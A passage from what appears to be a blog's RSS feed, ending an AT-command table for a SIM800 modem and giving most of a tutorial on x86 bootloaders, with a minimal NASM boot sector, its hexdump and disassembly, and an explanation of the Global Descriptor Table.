&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="http">HTTP&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>AT+HTTPINIT&lt;/td>
&lt;td>Start HTTP Service&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+HTTPTERM&lt;/td>
&lt;td>Stop HTTP Service&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+HTTPDATA&lt;/td>
&lt;td>Input HTTP Data&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+HTTPACTION&lt;/td>
&lt;td>HTTP Method&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+HTTPREAD&lt;/td>
&lt;td>Read server response&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+HTTPSTATUS&lt;/td>
&lt;td>Read HTTP Status&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>References&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.elecrow.com/download/SIM800%20Series_AT%20Command%20Manual_V1.09.pdf">https://www.elecrow.com/download/SIM800%20Series_AT%20Command%20Manual_V1.09.pdf&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>x86 Bootloaders</title><link>https://n0.lol/x86-bootloaders/</link><pubDate>Sat, 11 Jun 2016 12:00:00 -0400</pubDate><guid>https://n0.lol/x86-bootloaders/</guid><description>&lt;p>Bootloaders at their core are very simple pieces of code. Their responsibility
is to give the BIOS a way to load the operating system you want to load into
memory and do all of the proper initialization it needs to actually boot.&lt;/p>
&lt;p>This can become a very complicated process, and because BIOS based systems are
fairly old, newer technology like UEFI has been created to replace them.&lt;/p>
&lt;p>Here&amp;rsquo;s some very basic examples of bootloader code&lt;/p>
&lt;h2 id="initialization">Initialization&lt;/h2>
&lt;p>When the BIOS initializes, it self tests the hardware then loads the first 512
bytes of memory from the media device.&lt;/p>
&lt;p>When your computer turns on, the BIOS starts up by checking what hardware is
attached to the machine. It detects a disk and loads the first 512 bytes into
memory and executes it as a bootloader.&lt;/p>
&lt;p>From here, the bootloader is operating in 16 bit real mode, the most primitive
operating mode an x86 processor can operate in. During this phase, it is up to
the bootloader to start it&amp;rsquo;s initialization and checks to create an environment
that it can load the OS into. At this point though, we can do whatever we want.&lt;/p>
&lt;p>In this example, we can write a super basic program that will just serve as a
hello world type program as a bootloader.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="k">bits&lt;/span> &lt;span class="mi">16&lt;/span> &lt;span class="c1">; NASM directive for 16 bit mode&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">org&lt;/span> &lt;span class="mh">0x7c00&lt;/span> &lt;span class="c1">; This tells NASM to load the code at 0x7c00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">boot:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">si&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nv">ayy&lt;/span> &lt;span class="c1">; point SI register to hello label&amp;#39;s loc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">ah&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mh">0x0e&lt;/span> &lt;span class="c1">; 0x0e means &amp;#34;Write Character in TTY mode&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">loop:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">lodsb&lt;/span> &lt;span class="c1">; Loads bytes pointed at by ds:si into al.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">or&lt;/span> &lt;span class="nb">al&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="nb">al&lt;/span> &lt;span class="c1">; Checks if al == 0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jz&lt;/span> &lt;span class="nv">halt&lt;/span> &lt;span class="c1">; if (al == 0) jump to halt label&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">int&lt;/span> &lt;span class="mh">0x10&lt;/span> &lt;span class="c1">; runs BIOS interrupt 0x10 - video services&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">jmp&lt;/span> &lt;span class="nv">loop&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">halt:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">cli&lt;/span> &lt;span class="c1">; Clear interrupt flag&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">hlt&lt;/span> &lt;span class="c1">; Halt execution&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">ayy:&lt;/span> &lt;span class="kd">db&lt;/span> &lt;span class="s">&amp;#34;[^_^] [.~.] &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span> &lt;span class="c1">; Our null terminated string&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">times&lt;/span> &lt;span class="mi">510&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kc">$&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="kc">$$&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nv">db&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="c1">; Pad the rest of the bytes with 00s&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">dw&lt;/span> &lt;span class="mh">0xaa55&lt;/span> &lt;span class="c1">; This is the magic byte for the bootloader&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see, this is a very basic assembly program (think DOS) that just
loads a string into memory and uses interrupts to write it to the screen.&lt;/p>
&lt;p>The last line dw 0xaa55 is used as a magic byte for the bootloader, which
traditionally acts as a checksum for the BIOS to tell it that it should jump
to 0x7C000 and let the bootloader take care of the rest. I have found that
this isn&amp;rsquo;t always the case. In Virtualbox, you can totally make these whatever
bytes you want and it will boot just fine. This varies from vendor to vendor.&lt;/p>
&lt;p>Speaking of booting as a VM, you can do this by compiling and naming the file
something.img.&lt;/p>
&lt;p>Here is how you compile:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">nasm -f bin bootloadertest.asm -o boot1.bin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If we do a hex dump, we can take a look at what this actually looks like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-hexdump" data-lang="hexdump">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000000&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">be10&lt;/span> &lt;span class="mh">7cb4&lt;/span> &lt;span class="mh">0eac&lt;/span> &lt;span class="mh">08c0&lt;/span> &lt;span class="mh">7404&lt;/span> &lt;span class="mh">cd10&lt;/span> &lt;span class="mh">ebf7&lt;/span> &lt;span class="mh">faf4&lt;/span> &lt;span class="s">..|.....t.......&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000010&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">5b5e&lt;/span> &lt;span class="mh">5f5e&lt;/span> &lt;span class="mh">5d20&lt;/span> &lt;span class="mh">5b2e&lt;/span> &lt;span class="mh">7e2e&lt;/span> &lt;span class="mh">5d20&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">[^_^] [.~.] ....&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000020&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000030&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000040&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000050&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000060&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000070&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000080&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000090&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000000a0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000000b0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000000c0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000000d0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000000e0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000000f0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000100&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000110&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000120&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000130&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000140&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000150&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000160&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000170&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000180&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000190&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000001a0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000001b0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000001c0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000001d0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000001e0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">000001f0&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">55aa&lt;/span> &lt;span class="s">..............U.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can disassemble with nasm as well to get a proper look&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">x@n0:~$ ndisasm -o 0x7c00 bl
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C00 BE107C mov si,0x7c10
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C03 B40E mov ah,0xe
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C05 AC lodsb
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C06 08C0 or al,al
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C08 7404 jz 0x7c0e
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C0A CD10 int 0x10
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C0C EBF7 jmp short 0x7c05
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C0E FA cli
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C0F F4 hlt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C10 5B pop bx
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C11 5E pop si
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C12 5F pop di
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C13 5E pop si
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C14 5D pop bp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C15 205B2E and [bp+di+0x2e],bl
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C18 7E2E jng 0x7c48
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C1A 5D pop bp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C1B 2000 and [bx+si],al
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007C1D 0000 add [bx+si],al
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">... truncated bc lots of the same ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00007DFD 0055AA add [di-0x56],dl
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that this is done, it&amp;rsquo;s time we do something more useful. Let&amp;rsquo;s move to
32 bit mode, and actually set up where we&amp;rsquo;d plop more advanced code.&lt;/p>
&lt;h2 id="global-descriptor-table">Global Descriptor Table&lt;/h2>
&lt;p>The Global Descriptor Table is a table of entries that keeps track of memory
segments. When we are on this level, we need to establish the boundaries where
our code / data / task queue / user / malware will operate.&lt;/p>
&lt;p>You load the GDT with the &lt;code>lgdt&lt;/code> instruction.&lt;/p>
&lt;h2 id="segment-types">Segment Types&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Type&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Null Segment&lt;/td>
&lt;td>We keep a null segment because certain emulators will complain about limit exceptions if you don&amp;rsquo;t have a null segment. You can store a pointer to the GDT itself in here. The null descriptor is 8 bytes and the pointer is 6 bytes, so it works.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Code Segment&lt;/td>
&lt;td>This describes the code we are loading. Could be a kernel, second stage bootloader, bootkit etc.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Data Segment&lt;/td>
&lt;td>This will contain our writable memory space.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Also you can load a &lt;em>TSS Segment&lt;/em> to store the Task State, but it&amp;rsquo;s not necessary
for a super basic example.&lt;/p>
&lt;h2 id="gdt-descriptors">GDT Descriptors&lt;/h2>
&lt;p>The GDTR register is where the GDT descriptor is held. A descriptor is 6 bytes
long and looks like this:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>BYTE&lt;/th>
&lt;th>SIZE&lt;/th>
&lt;th>DESC&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>0-2&lt;/td>
&lt;td>2&lt;/td>
&lt;td>LIMIT - Size of the table subtracted by 1. This means the GDT has a max size of 65536 bytes or 8192 entries&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2-6&lt;/td>
&lt;td>4&lt;/td>
&lt;td>BASE - The linear address of the GDT table.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="gdt-entries">GDT Entries&lt;/h2>
&lt;p>Once we&amp;rsquo;ve established where we&amp;rsquo;re going, we need to put some data there!&lt;/p>
&lt;p>What kind of data do we actually need?&lt;/p>
&lt;p>&lt;strong>base&lt;/strong> is a 32 bit value that describes where the segement begins. It&amp;rsquo;s split up into a bunch of parts because of the original limitations of the processor&lt;/p>
&lt;p>&lt;strong>limit&lt;/strong> is a 20 bit value describing where the segment ends. If the &lt;strong>granularity&lt;/strong> bit in flags is set to 1, then this value is multiplied by 4096 to signify that we are working with pages. The default is 1 byte.&lt;/p>
&lt;p>The rest of the data is stored in access and flag sections here, and are given definitions. The layout is whacky as hell, so maybe just look up some GDT diagrams if you don&amp;rsquo;t quite get it because this might not be a good description.&lt;/p>
&lt;p>Table entries are 8 bytes total, and they look like this.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl"> +-------+-------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | Bits | Entry Part |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> +-------+-------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 00-15 | limit_low 0:15 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 16-31 | base_low 0:15 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 32-39 | base_middle 16:23 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 40-47 | access byte |&amp;gt;---+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 48-51 | limit_high 16:19 | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">+----------------------&amp;lt;| 52-55 | flags | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | 56-63 | base_high 24:31 | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| +-------+-------------------+ |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| +---------------------------------------------------+
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| | The flags within the access byte (bits 40-47) are:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">| v
